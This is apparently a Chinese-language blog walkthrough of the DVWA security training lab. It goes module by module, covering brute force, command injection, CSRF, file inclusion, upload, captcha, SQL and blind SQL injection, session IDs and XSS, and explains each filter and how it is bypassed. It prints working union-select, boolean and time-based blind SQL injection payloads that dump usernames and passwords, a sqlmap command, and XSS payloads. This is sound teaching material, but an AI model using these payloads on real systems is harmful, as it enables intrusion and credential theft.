Brute Force
low
wp
:
Medium
I. mysqli_real_escape_string(connection,escapestring);
转义在 SQL 语句中使用的字符串中的特殊字符。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z。
II. sleep(2)每运行一次程序休眠2秒,给爆破增加了时间,但依旧可以进行爆破
High
增加了stripslashes()
删除由 addslashes()
添加的反斜杠。
增加了token
验证
sleep()
随机0-3秒
但没有限制次数,仍然可以爆破
wp
可以看见,页面中有个隐藏的token值
可以先去录制一个“宏”,提取token值,再添加会话规则,应用于所以会话,勾上总是允许重定向,爆破
Impossible
增加了限制次数:失败3次、锁定15分钟
Command Injection
常见连接符
- A;B 先执行A,再执行B
- A&B 简单拼接,AB之间无制约关系
- A|B 显示B的执行结果
- A&&B A执行成功,然后才会执行B
- A||B A执行失败,然后才会执行B
Low
stristr()
函数查找字符串在另一个字符串中第一次出现的位置
$target
得到前端传来的IP,拼接到ping
命令中,由shell_exec()
执行ping
命令
显示结果、无任何过滤
wp
Medium
增加了一个黑名单,过滤了&&
和;
wp
High
可以看见,增加了trim
函数:移除字符串两侧的空白字符或其他预定义字符
黑名单范围扩大了
注意到第11行,过滤的是|[空格]
,这里是带有空格,可以不带空格绕过
wp
Impossible
增加了token验证,把输入的IP分为4个部分,每个部分分别验证是否为数字。
stripslashes() 函数删除由 addslashes()函数添加的反斜杠。
explode() 函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
is_numeric() 函数用于检测变量是否为数字或数字字符串。
CSRF
Low
可以看见没有过滤输入、没有验证
wp
burpsuite中生成CSRF Poc ,访问
Medium
增加了( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
SERVER_NAME是要访问的主机名
过滤规则为http包头的Referer参数的值中是否包含主机名
wp
High
$_SERVER保存关于报头、路径和脚本位置的信息
array_key_exists*()函数检查指定的键是否在数组中存在
可以看见 对提交方式是否为POST、传输类型是否为json做了判断后,再验证token
token值,手动刷新页面,然后复制,这里没调试好…
Impossible
这里增加了对当前密码的判断
文件包含
Low
无过滤
Medium
过滤了../
,也过滤了http://``https://
(远程文件包含)
可双写…/绕过
只过滤完整http://,可双写绕过
High
page参数只认file开头的文件
可利用file:// 协议绕过
Impossible
这里加了白名单,只允许包含指定的php文件
文件上传
Low
无过滤
Medium
对文件的类型和大小做了要求
wp
High
增加了对后缀名的判断,上传发现也要检测文件头
再通过文件包含漏洞
Impossible
对上传文件重命名(MD5),加入Token,检查文件内容
不安全的验证码
Low
检查用户输入的验证码,验证码正确后,服务器返回表单
这里仅仅通过检查参数Change、step=2 来判断用户是否已经输入正确的验证码。
可以直接构造Change、step=2参数绕过验证码。
Medium
增加了passed_captcha=true条件校验,在Low的数据包中添加上passed_captcha=true
High
增加了User-Agent: reCAPTCHA
、g-recaptcha-response=hidd3n_valu3
校验
这里不知为啥服务器500
Impossible
增加了CSRF Token,同时验证旧密码和验证码。
SQL注入
Low
可以看见未做过滤
1'
报错
1"
未报错
说明是单引号闭合
1' order by 2#
确认列数2
1' union select 1,database()#
确定数据库名
查表名
当出现Illegal mix of collations for operation 'UNION'
错误时,执行 alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()##
查列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#
这里又出现Illegal mix of collations for operation 'UNION'
报错,修改排序规则即可
列中的内容
1' union select group_concat(user),group_concat(password) from users#
Medium
这里使用了POST方式传输、mysqli_real_escape_string
对SQL语句中使用的字符串进行转义,即单引号、双引号无法使用。这里的id参数是数值型,不需要引号,可以注入但无法写入webshell。
这里过滤了引号,大概意思可能是限制了一些查询语句,但可以使用16进制的ASCII码来绕过。
直接order by 确认列数:
2 不报错、3报错,缺列数为:2
确认回显位置
查库名:
查表明
查列明:
(0x7573657273是users的十六进制ascii码)
得到用户名和密码
Hight
limit 1
限制显示的列数,但没有限制引号
输入和显示分开,各在一个页面。
手工注入方式同上
sqlmap注入:
这里如果使用sqlmap,需要利用 --second-url=“xxxurl”
(设置二阶响应的结果显示页面的url)
python sqlmap.py -r 001.txt --second-url "http://127.0.0.1:8088/vulnerabilities/sqli/" --batch
Impossible
可以看见采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”。CSRF token的加入也进一步提高了安全性。
SQL盲注
Low
可以看见无过滤,查询到存在ID时,$exists
为真,页面输出固定常量语句。
手工盲注的步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
基于布尔的盲注
1.判断是否存在注入,注入的类型
不管输入框输入为何内容,页面上只会返回以下2种情形的提示:
满足查询条件则返回"User ID exists in the database.“,不满足查询条件则返回"User ID is MISSING from the database.”;两者返回的内容随所构造的真假条件而不同,说明存在SQL盲注。
输入1‘and 1=1 # User ID exists in the database.
输入1’and 1=2 # User ID is MISSING from the database.
二分法猜解表:
ASCII 码对照表
从表中看出,字符中,小写字母按顺序第一位a的ascii码是97
2.猜数据库名
函数功能
substr()函数
从给定的字符串中,从指定位置开始截取指定长度的字符串,分离出数据库名称的每个位置的元素,并分别将其转换为ASCII码,与对应的ASCII码值比较大小,找到比值相同时的字符
用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
mysql中的start是从1开始的
1’ and ascii(substr(database(),1,1))>97#
页面返回存在
1’ and ascii(substr(database(),1,1))>100#
页面返回不存在
1’ and ascii(substr(database(),1,1))<103#
页面返回存在
1’ and ascii(substr(database(),1,1))<100#
页面返回不存在
最终发现:数据库名的第一位字符的ascii码值为 100,则得到字母d
重复上述步骤,就可以猜解出完整的数据库名dvwa
了。
3.猜表名
猜解表的个数
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
显示不存在
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
显示存在
有2个表
猜测表的长度:
1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为9。
猜解表名称的组成
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 #
显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #
显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #
显示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 #
显示不存在
说明第一个表的名字的第一个字符为小写字母g。…
重复上述步骤,即可猜解出两个表名guestbook
、users
。
4.猜解表中的字段名
猜解表中字段的数量:
1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=1 #
显示不存在
…
1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 #
显示存在
说明users表有8个字段。
猜解字段长度:
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=1 #
显示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=7 #
显示存在
说明users表的第一个字段为7个字符长度。
猜解字段名:
采用二分法,即可猜解出所有字段名。
5.猜解数据
同样采用二分法。
基于时间的盲注
1.判断是否存在注入,注入是字符型还是数字型
sleep(n) :将程序挂起 n 秒后执行
1’ and sleep(5) #
感觉到明显延迟;
1 and sleep(5) #
没有延迟;
说明存在字符型的基于时间的盲注。
2.猜解当前数据库名
猜解数据名的长度:
1’ and if(length(database())=1,sleep(5),1) #
没有延迟
1’ and if(length(database())=2,sleep(5),1) #
没有延迟
1’ and if(length(database())=3,sleep(5),1) #
没有延迟
1’ and if(length(database())=4,sleep(5),1) #
明显延迟
说明数据库名长度为4个字符。
猜解数据库名:
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
明显延迟
…
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)#
没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)#
没有延迟
说明数据库名的第一个字符为小写字母d。
…
重复上述步骤,即可猜解出数据库名。
3.猜解数据库中的表名
猜解数据库中表的数量:
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#
没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#
明显延迟
说明数据库中有两个表。
猜解表名:
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
没有延迟
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
明显延迟
说明第一个表名的长度为9个字符。
采用二分法即可猜解出表名。
4.猜解表中的字段名
猜解表中字段的数量:
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)#
没有延迟
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)#
明显延迟
说明users表中有8个字段。
猜解字段名:
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) #
没有延迟
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) #
明显延迟
说明users表的第一个字段长度为7个字符。
采用二分法即可猜解出各个字段名。
5.猜解数据
同样采用二分法。
Medium
数值型注入,过滤了特殊字符
High
可以看见,利用cookie传递参数,当SQL查询为空时,会执行sleep(),干扰基于时间的盲注手法。
这里可以用基于布尔的注入完成(同上)
Impossible
Impossible Security Level的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。
弱会话ID
Low
session_id+1 易被伪造
在火狐浏览器中,编辑cookie,刷新,即可直接进入系统
Medium
cookie内容增加了时间戳
浏览器中cookie加上超前的时间戳即可进入
High
使用了setcookie
函数来设置cookie
setcookie(name,value,expire,path,domain,secure,httponly)
参数 描述
name 必需。规定cookie的名称。
value 必需。规定cookie的值。
expire 可选。规定cookie的有效期。
path 可选。规定cookie的服务器路径。
domain 可选。规定cookie的域名。
secure 可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly 可选。规定是否Cookie仅可通过HTTP协议访问。
增加了md5
计算了session值,但依然容易破解
Impossible
mt_rand()
返回随机整数
随机数+时间戳+“impossible”,sha1计算
XSS(DOM)
Low
没有任何过滤
查看源码知,xss语句 插入到了页面代码中
Medium
这里检查了default是否为空,不为空,就将获取到的值赋值给default。
stripos()
查找字符串在另一字符串中第一次出现的位置(不区分大小写)。这里就过滤了<script
。
使用<img src=1 οnerrοr=('xss')>
即可绕过,当然实验室要闭合标签
English#</select><img%20src=1%20onerror=alert(1)>
这也行
High
这里用了白名单校验。
采用【#】可以绕过后台效验,同时前端依旧安装原本请求的URL去获取数据。
Impossible
前端
默认不解码,故无法被前端执行。
XS(Reflected)
Low
判断name是否为空,不为空就输出name
Medium
多了一个过滤<script
,但可以大小写绕过
High
使用了正则表达式直接把 <script 给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。这里<script>
标签在这里就不能用了,但还可以使用img
标签
Impossible
htmlspecialchars(string)
: 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素。
还添加了CSRFtoken验证
XSS(Stored)
Low
trim(string,charlist)
: 移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符
stripslashes(string)
: 去除掉string字符的反斜杠\
mysqli_real_escape_string(string,connection)
:函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
可以看见,这里对输入的message和name 并没有进行过滤,而且数据存储在数据库中。
Medium
htmlspecialchars(string)
: 把预定义的字符 “<” (小于)、 “>” (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素
增加了HTML实体编码
message参数过滤了xss,但name参数值过滤了<script>
标签,但name在前端输入时长度限制为10
抓包修改name参数绕过
High
增加了name参数的正则匹配过滤<script>
,使用img
等其他标签即可绕过
Impossible
可以看见name参数的过滤同样更加严格了,同时增加了CSRFtoken校验。
评论区